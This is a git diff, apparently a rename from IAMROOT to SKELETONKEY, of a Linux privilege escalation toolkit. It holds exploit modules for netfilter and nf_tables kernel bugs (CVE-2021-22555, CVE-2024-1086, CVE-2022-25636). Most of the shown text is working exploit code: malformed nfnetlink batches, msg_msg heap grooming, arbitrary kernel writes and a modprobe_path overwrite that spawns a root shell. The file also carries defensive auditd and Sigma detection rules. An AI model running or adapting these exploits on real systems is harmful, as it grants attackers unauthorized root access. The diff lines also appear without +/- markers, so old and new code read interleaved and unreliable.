" See /tmp/iamroot-xtcompat.log for arb_calls/arb_landed\n");
" See /tmp/skeletonkey-xtcompat.log for arb_calls/arb_landed\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
default:
fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
}
/* ---- Cleanup ----------------------------------------------------- */
static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] netfilter_xtcompat: removing log + best-effort msg queue cleanup\n");
@@ -957,10 +957,10 @@ static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx
/* The msg queues live in the child's IPC namespace which dies
* with the child so the in-process drain already handled them.
* The /tmp breadcrumb survives, remove it here. */
if (unlink("/tmp/iamroot-xtcompat.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-xtcompat.log") < 0 && errno != ENOENT) {
/* harmless */
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ---- Detection rules --------------------------------------------- */
@@ -970,12 +970,12 @@ static const char netfilter_xtcompat_auditd[] =
"# The exploit's hallmarks: unshare(USER|NET) chained with iptables\n"
"# rule setup via setsockopt(SOL_IP, IPT_SO_SET_REPLACE=64) and\n"
"# msgsnd/msgrcv heap-spray patterns.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-xtcompat\n"
"-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k iamroot-xtcompat-iptopt\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-xtcompat-msgmsg\n"
"-a always,exit -F arch=b64 -S msgrcv -k iamroot-xtcompat-msgmsg\n";
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-xtcompat\n"
"-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k skeletonkey-xtcompat-iptopt\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-xtcompat-msgmsg\n"
"-a always,exit -F arch=b64 -S msgrcv -k skeletonkey-xtcompat-msgmsg\n";
const struct iamroot_module netfilter_xtcompat_module = {
const struct skeletonkey_module netfilter_xtcompat_module = {
.name = "netfilter_xtcompat",
.cve = "CVE-2021-22555",
.summary = "iptables xt_compat_target_to_user 4-byte heap-OOB write → cross-cache UAF → root",
@@ -991,7 +991,7 @@ const struct iamroot_module netfilter_xtcompat_module = {
.detect_falco = NULL,
};
void iamroot_register_netfilter_xtcompat(void)
void skeletonkey_register_netfilter_xtcompat(void)
{
iamroot_register(&netfilter_xtcompat_module);
skeletonkey_register(&netfilter_xtcompat_module);
}
@@ -0,0 +1,12 @@
/*
* netfilter_xtcompat_cve_2021_22555 — SKELETONKEY module registry hook
*/
#ifndef NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H
#define NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module netfilter_xtcompat_module;
#endif
+1 -1
View File
@@ -16,7 +16,7 @@ GitHub: <https://github.com/Notselwyn/CVE-2024-1086>
Upstream fix: mainline 6.8-rc1 (commit `f342de4e2f33`, Jan 2024).
Stable backports throughout Q1 2024.
## IAMROOT role
## SKELETONKEY role
This module fires the malformed-verdict trigger (NFT_GOTO + NFT_DROP
in the same verdict) via a hand-rolled nfnetlink batch — no libmnl
@@ -1,12 +0,0 @@
/*
* nf_tables_cve_2024_1086 — IAMROOT module registry hook
*/
#ifndef NF_TABLES_IAMROOT_MODULES_H
#define NF_TABLES_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module nf_tables_module;
#endif
@@ -1,5 +1,5 @@
/*
* nf_tables_cve_2024_1086 IAMROOT module
* nf_tables_cve_2024_1086 SKELETONKEY module
*
* Netfilter nf_tables UAF when NFT_GOTO/NFT_JUMP verdicts coexist
* with NFT_DROP/NFT_QUEUE. Triggers a double-free cross-cache UAF
@@ -13,11 +13,11 @@
* (table chain set rule with the NFT_GOTO+NFT_DROP combo
* that nft_verdict_init() fails to reject on vulnerable kernels),
* fires the double-free path, runs the msg_msg cg-96 groom, and
* returns IAMROOT_EXPLOIT_FAIL (primitive-only behavior).
* returns SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior).
* - With --full-chain: after the trigger lands, we resolve kernel
* offsets (env kallsyms System.map embedded table) and run
* a Notselwyn-style pipapo arb-write via the shared
* iamroot_finisher_modprobe_path() helper. The arb-write itself
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself
* is FALLBACK-DEPTH: we re-fire the trigger and spray a msg_msg
* payload tagged with the kaddr in the value-pointer slot. The
* exact pipapo_elem layout (and the value-pointer field offset)
@@ -34,7 +34,7 @@
* heap pointer.
* 3. Implement the sk_buff fragment overwrite to plant a fake
* pipapo_elem whose value points at modprobe_path.
* 4. Fire trigger that writes "/tmp/iamroot-pwn" into modprobe_path.
* 4. Fire trigger that writes "/tmp/skeletonkey-pwn" into modprobe_path.
* 5. execve() an unknown binary to invoke modprobe with our payload.
*
* Affected kernel ranges:
@@ -55,7 +55,7 @@
* for unprivileged users even on a kernel-vulnerable host.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -134,12 +134,12 @@ static bool nf_tables_loaded(void)
return found;
}
static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nf_tables: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.14. Anything below predates it. */
@@ -148,7 +148,7 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nf_tables: kernel %s predates the bug "
"(introduced in 5.14)\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&nf_tables_range, &v);
@@ -156,7 +156,7 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -180,14 +180,14 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nf_tables: still patch the kernel — a root "
"attacker can still trigger the bug\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] nf_tables: VULNERABLE — kernel in range AND user_ns "
"clone allowed\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------
@@ -229,7 +229,7 @@ static int enter_unpriv_namespaces(void)
/* ------------------------------------------------------------------
* Minimal nfnetlink batch builder. We hand-roll this rather than
* pulling libmnl, both to keep IAMROOT dep-free and because the bug
* pulling libmnl, both to keep SKELETONKEY dep-free and because the bug
* relies on a specific malformed verdict that libnftnl validates away.
*
* Each helper appends to a contiguous batch buffer at *off.
@@ -318,9 +318,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
* Build the ruleset that fires the bug. Strategy mirrors Notselwyn's
* PoC (greatly simplified):
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
* 2. NFT_MSG_NEWTABLE "iamroot_t" family=inet
* 3. NFT_MSG_NEWCHAIN "iamroot_c" inside the table
* 4. NFT_MSG_NEWSET "iamroot_s" inside the table, key=verdict,
* 2. NFT_MSG_NEWTABLE "skeletonkey_t" family=inet
* 3. NFT_MSG_NEWCHAIN "skeletonkey_c" inside the table
* 4. NFT_MSG_NEWSET "skeletonkey_s" inside the table, key=verdict,
* data=verdict (the pipapo combo that holds the bad verdict),
* flags = NFT_SET_ANONYMOUS|NFT_SET_CONSTANT|NFT_SET_INTERVAL
* 5. NFT_MSG_NEWSETELEM with a verdict element whose
@@ -341,9 +341,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
* cross-cache groom.
* ------------------------------------------------------------------ */
static const char NFT_TABLE_NAME[] = "iamroot_t";
static const char NFT_CHAIN_NAME[] = "iamroot_c";
static const char NFT_SET_NAME[] = "iamroot_s";
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
static const char NFT_CHAIN_NAME[] = "skeletonkey_c";
static const char NFT_SET_NAME[] = "skeletonkey_s";
/* batch begin / end markers */
static void put_batch_begin(uint8_t *buf, size_t *off, uint32_t seq)
@@ -382,7 +382,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
end_msg(buf, off, at);
}
/* NFT_MSG_NEWTABLE inet "iamroot_t" */
/* NFT_MSG_NEWTABLE inet "skeletonkey_t" */
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
@@ -447,8 +447,8 @@ static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq)
* AND once on data_release double free.
*
* We pack:
* NFTA_SET_ELEM_LIST_TABLE = "iamroot_t"
* NFTA_SET_ELEM_LIST_SET = "iamroot_s"
* NFTA_SET_ELEM_LIST_TABLE = "skeletonkey_t"
* NFTA_SET_ELEM_LIST_SET = "skeletonkey_s"
* NFTA_SET_ELEM_LIST_ELEMENTS { element { key=verdict(DROP),
* data=verdict(GOTO chain-id=...) } }
*/
@@ -657,7 +657,7 @@ static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq)
* lts-6.1.x / 6.6.x / 6.7.x un-randomized build (the kernels in the
* exploitable range for which Notselwyn's public PoC was validated)
* and rely on the shared finisher's sentinel-file post-check to flag
* a layout mismatch as IAMROOT_EXPLOIT_FAIL rather than fake success.
* a layout mismatch as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
* ------------------------------------------------------------------ */
struct nft_arb_ctx {
@@ -798,11 +798,11 @@ static int nft_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vct
* The exploit body.
* ------------------------------------------------------------------ */
static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
{
/* Gate 1: re-confirm vulnerability. detect() also checks user_ns. */
iamroot_result_t pre = nf_tables_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = nf_tables_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] nf_tables: detect() says not vulnerable; refusing\n");
return pre;
}
@@ -811,7 +811,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
if (geteuid() == 0) {
if (!ctx->json)
fprintf(stderr, "[i] nf_tables: already running as root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
@@ -834,27 +834,27 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
* as the arb-write.
*/
if (ctx->full_chain) {
struct iamroot_kernel_offsets off;
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("nf_tables");
return IAMROOT_EXPLOIT_FAIL;
struct skeletonkey_kernel_offsets off;
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("nf_tables");
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
if (enter_unpriv_namespaces() < 0) {
fprintf(stderr, "[-] nf_tables: userns entry failed\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
if (sock < 0) {
perror("[-] socket(NETLINK_NETFILTER)");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
}
int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
@@ -863,11 +863,11 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
int qids[SPRAY_MSGS * 4];
for (size_t i = 0; i < sizeof qids / sizeof qids[0]; i++) qids[i] = -1;
if (spray_msg_msg(qids, SPRAY_MSGS / 2) < 0) {
close(sock); return IAMROOT_EXPLOIT_FAIL;
close(sock); return SKELETONKEY_EXPLOIT_FAIL;
}
uint8_t *batch = calloc(1, 16 * 1024);
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
/* Initial trigger batch (NEWTABLE/CHAIN/SET/SETELEM). */
uint32_t seq = (uint32_t)time(NULL);
@@ -880,12 +880,12 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] nf_tables: trigger batch failed\n");
drain_spray(qids, SPRAY_MSGS / 2);
free(batch); close(sock);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Wire up the arb-write context and hand off to the shared
* finisher. The finisher will:
* - call nft_arb_write(modprobe_path, "/tmp/iamroot-mp-...", N)
* - call nft_arb_write(modprobe_path, "/tmp/skeletonkey-mp-...", N)
* which re-fires the trigger and sprays forged pipapo elems
* - execve() the trigger binary to invoke modprobe
* - poll for the setuid sentinel, and spawn a root shell. */
@@ -898,7 +898,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
.qused = SPRAY_MSGS / 2,
};
iamroot_result_t r = iamroot_finisher_modprobe_path(&off,
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(&off,
nft_arb_write, &ac, !ctx->no_shell);
drain_spray(qids, ac.qused);
@@ -913,7 +913,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
* kernel panics on KASAN we don't want our parent process to be
* the one that takes the hit. */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* --- CHILD --- */
@@ -1040,7 +1040,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
"fired (KASAN/oops can manifest as child signal)\n",
WTERMSIG(status));
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -1054,20 +1054,20 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
" cross-cache groom + modprobe_path overwrite\n"
" from github.com/Notselwyn/CVE-2024-1086.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (rc >= 20 && rc <= 25) {
if (!ctx->json) {
fprintf(stderr, "[-] nf_tables: trigger setup failed (child rc=%d)\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[-] nf_tables: unexpected child rc=%d\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* ----- Embedded detection rules ----- */
@@ -1077,15 +1077,15 @@ static const char nf_tables_auditd[] =
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by nft socket setup.\n"
"# This is the canonical exploit shape; legitimate userns + nft use\n"
"# (e.g. firewalld, docker rootless) will also trip — tune per env.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-nf-tables-userns\n"
"-a always,exit -F arch=b32 -S unshare -k iamroot-nf-tables-userns\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nf-tables-userns\n"
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nf-tables-userns\n"
"# Also watch for the canonical post-exploit primitives: modprobe_path\n"
"# overwrite OR setresuid(0,0,0) on a previously-non-root process.\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k iamroot-nf-tables-priv\n";
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nf-tables-priv\n";
static const char nf_tables_sigma[] =
"title: Possible CVE-2024-1086 nf_tables UAF exploitation\n"
"id: a72b5e91-iamroot-nf-tables\n"
"id: a72b5e91-skeletonkey-nf-tables\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape: unprivileged user creating a\n"
@@ -1107,7 +1107,7 @@ static const char nf_tables_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n";
const struct iamroot_module nf_tables_module = {
const struct skeletonkey_module nf_tables_module = {
.name = "nf_tables",
.cve = "CVE-2024-1086",
.summary = "nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W",
@@ -1123,7 +1123,7 @@ const struct iamroot_module nf_tables_module = {
.detect_falco = NULL,
};
void iamroot_register_nf_tables(void)
void skeletonkey_register_nf_tables(void)
{
iamroot_register(&nf_tables_module);
skeletonkey_register(&nf_tables_module);
}
@@ -0,0 +1,12 @@
/*
* nf_tables_cve_2024_1086 — SKELETONKEY module registry hook
*/
#ifndef NF_TABLES_SKELETONKEY_MODULES_H
#define NF_TABLES_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nf_tables_module;
#endif
+2 -2
View File
@@ -17,12 +17,12 @@ Original writeup:
Upstream fix: mainline 5.17 (commit `fa54fee62954`, Feb 2022).
Branch backports: 5.16.11 / 5.15.25 / 5.10.102 / 5.4.181.
## IAMROOT role
## SKELETONKEY role
userns+netns reach. Hand-rolled nfnetlink batch: NEWTABLE →
NEWCHAIN with `NFT_CHAIN_HW_OFFLOAD` → NEWRULE with 16 immediates
+ fwd, overruning `action.entries[1]`. msg_msg cross-cache groom
into kmalloc-512 with `IAMROOT_FWD` tags.
into kmalloc-512 with `SKELETONKEY_FWD` tags.
`--full-chain` extends with stride-seeded forged action_entry
overwrite aimed at modprobe_path via the shared finisher.
@@ -1,12 +0,0 @@
/*
* nft_fwd_dup_cve_2022_25636 — IAMROOT module registry hook
*/
#ifndef NFT_FWD_DUP_IAMROOT_MODULES_H
#define NFT_FWD_DUP_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module nft_fwd_dup_module;
#endif
@@ -1,5 +1,5 @@
/*
* nft_fwd_dup_cve_2022_25636 IAMROOT module
* nft_fwd_dup_cve_2022_25636 SKELETONKEY module
*
* Heap OOB write in net/netfilter/nf_dup_netdev.c ::
* nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
@@ -41,7 +41,7 @@
* - nf_tables module loadable
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -125,12 +125,12 @@ static bool nf_tables_loaded(void)
return found;
}
static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_fwd_dup_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nft_fwd_dup: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* The offload code path only exists from 5.4 onward. Anything
@@ -140,7 +140,7 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nft_fwd_dup: kernel %s predates the bug "
"(nft offload hook introduced in 5.4)\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&nft_fwd_dup_range, &v);
@@ -148,7 +148,7 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -172,14 +172,14 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nft_fwd_dup: still patch the kernel — a root\n"
" attacker can still hit the OOB.\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] nft_fwd_dup: VULNERABLE — kernel in range AND user_ns "
"clone allowed\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------
@@ -334,7 +334,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
* Rule construction the heart of the trigger.
*
* Strategy (Aaron Adams shape):
* NEWTABLE netdev "iamroot_fdt"
* NEWTABLE netdev "skeletonkey_fdt"
* NEWCHAIN base chain on ingress, family=netdev,
* flags = NFT_CHAIN_HW_OFFLOAD critical: this is what
* drives nft_flow_rule_create() to call the offload hooks
@@ -355,8 +355,8 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
* the adjacent kmalloc-512 chunk. Boom.
* ------------------------------------------------------------------ */
static const char NFT_TABLE_NAME[] = "iamroot_fdt";
static const char NFT_CHAIN_NAME[] = "iamroot_fdc";
static const char NFT_TABLE_NAME[] = "skeletonkey_fdt";
static const char NFT_CHAIN_NAME[] = "skeletonkey_fdc";
static const char NFT_DUMMY_IF[] = "lo"; /* hookmust be on a real iface */
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
@@ -513,7 +513,7 @@ static int spray_msg_msg_groom(int *queues, int n_queues)
memset(&p, 0, sizeof p);
p.mtype = 0x46;
memset(p.mtext, 0xAA, sizeof p.mtext);
memcpy(p.mtext, "IAMROOT_FWD", 11);
memcpy(p.mtext, "SKELETONKEY_FWD", 11);
*(uint32_t *)(p.mtext + 12) = MSG_TAG_GROOM;
int created = 0;
@@ -614,7 +614,7 @@ static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
* lockdep, KASAN can all shift it). We ship the layout for an
* un-randomized x86_64 build in the exploitable range and rely on
* the shared finisher's sentinel-file post-check to flag layout
* mismatches as IAMROOT_EXPLOIT_FAIL rather than fake success.
* mismatches as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
* ------------------------------------------------------------------ */
#ifdef __linux__
@@ -646,7 +646,7 @@ static int spray_forged_action_entries(struct fwd_arb_ctx *c,
memset(&p, 0, sizeof p);
p.mtype = 0x52; /* 'R' */
memset(p.mtext, 0x52, sizeof p.mtext);
memcpy(p.mtext, "IAMROOT_FWD_A", 13);
memcpy(p.mtext, "SKELETONKEY_FWD_A", 13);
*(uint32_t *)(p.mtext + 16) = MSG_TAG_ARB;
/* Plant kaddr at strided 0x10-byte offsets across the first
@@ -727,22 +727,22 @@ static int nft_fwd_dup_arb_write(uintptr_t kaddr,
* Exploit driver.
* ------------------------------------------------------------------ */
static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ctx)
{
/* Gate 0: explicit user authorization. */
if (!ctx->authorized) {
fprintf(stderr, "[-] nft_fwd_dup: refusing without --i-know\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
/* Gate 1: already root? */
if (geteuid() == 0) {
if (!ctx->json)
fprintf(stderr, "[i] nft_fwd_dup: already running as root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Gate 2: re-detect — kernel patched / userns denied since scan. */
iamroot_result_t pre = nft_fwd_dup_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = nft_fwd_dup_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] nft_fwd_dup: detect() says not vulnerable; "
"refusing\n");
return pre;
@@ -751,7 +751,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
#ifndef __linux__
fprintf(stderr, "[-] nft_fwd_dup: linux-only exploit; non-linux build\n");
(void)ctx;
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
if (!ctx->json) {
if (ctx->full_chain) {
@@ -768,28 +768,28 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
/* --- --full-chain path: resolve offsets before forking ---------- *
* Refuse cleanly if we can't reach modprobe_path. */
if (ctx->full_chain) {
struct iamroot_kernel_offsets off;
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("nft_fwd_dup");
return IAMROOT_EXPLOIT_FAIL;
struct skeletonkey_kernel_offsets off;
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("nft_fwd_dup");
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
if (enter_unpriv_namespaces() < 0) {
fprintf(stderr, "[-] nft_fwd_dup: userns entry failed\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
(void)bring_lo_up();
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
if (sock < 0) {
perror("[-] socket(NETLINK_NETFILTER)");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
}
int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
@@ -804,7 +804,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
}
uint8_t *batch = calloc(1, 32 * 1024);
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
uint32_t seq = (uint32_t)time(NULL);
size_t blen = build_trigger_batch(batch, &seq);
@@ -817,7 +817,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] nft_fwd_dup: trigger batch send failed\n");
drain_msg_msg(qids, SPRAY_QUEUES_GROOM);
free(batch); close(sock);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct fwd_arb_ctx ac = {
@@ -828,7 +828,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
.qused = SPRAY_QUEUES_GROOM,
};
iamroot_result_t r = iamroot_finisher_modprobe_path(
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(
&off, nft_fwd_dup_arb_write, &ac, !ctx->no_shell);
drain_msg_msg(qids, ac.qused);
@@ -839,7 +839,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
/* --- primitive-only path: fork-isolated trigger ---------------- */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* CHILD: namespace + trigger. */
@@ -890,7 +890,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
if (after < 0) after = slab_active("kmalloc-cg-512");
/* Breadcrumb for triage. */
FILE *log = fopen("/tmp/iamroot-nft_fwd_dup.log", "w");
FILE *log = fopen("/tmp/skeletonkey-nft_fwd_dup.log", "w");
if (log) {
fprintf(log,
"nft_fwd_dup trigger child: queues=%d slab-512 pre=%ld post=%ld\n",
@@ -919,7 +919,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
"likely fired (KASAN/oops can manifest as signal)\n",
WTERMSIG(status));
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -933,19 +933,19 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
" the kaddr-tagged forged-entry spray reaches\n"
" the shared modprobe_path finisher.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (rc >= 20 && rc <= 24) {
if (!ctx->json) {
fprintf(stderr, "[-] nft_fwd_dup: trigger setup failed "
"(child rc=%d)\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[-] nft_fwd_dup: unexpected child rc=%d\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
#endif /* __linux__ */
}
@@ -953,7 +953,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
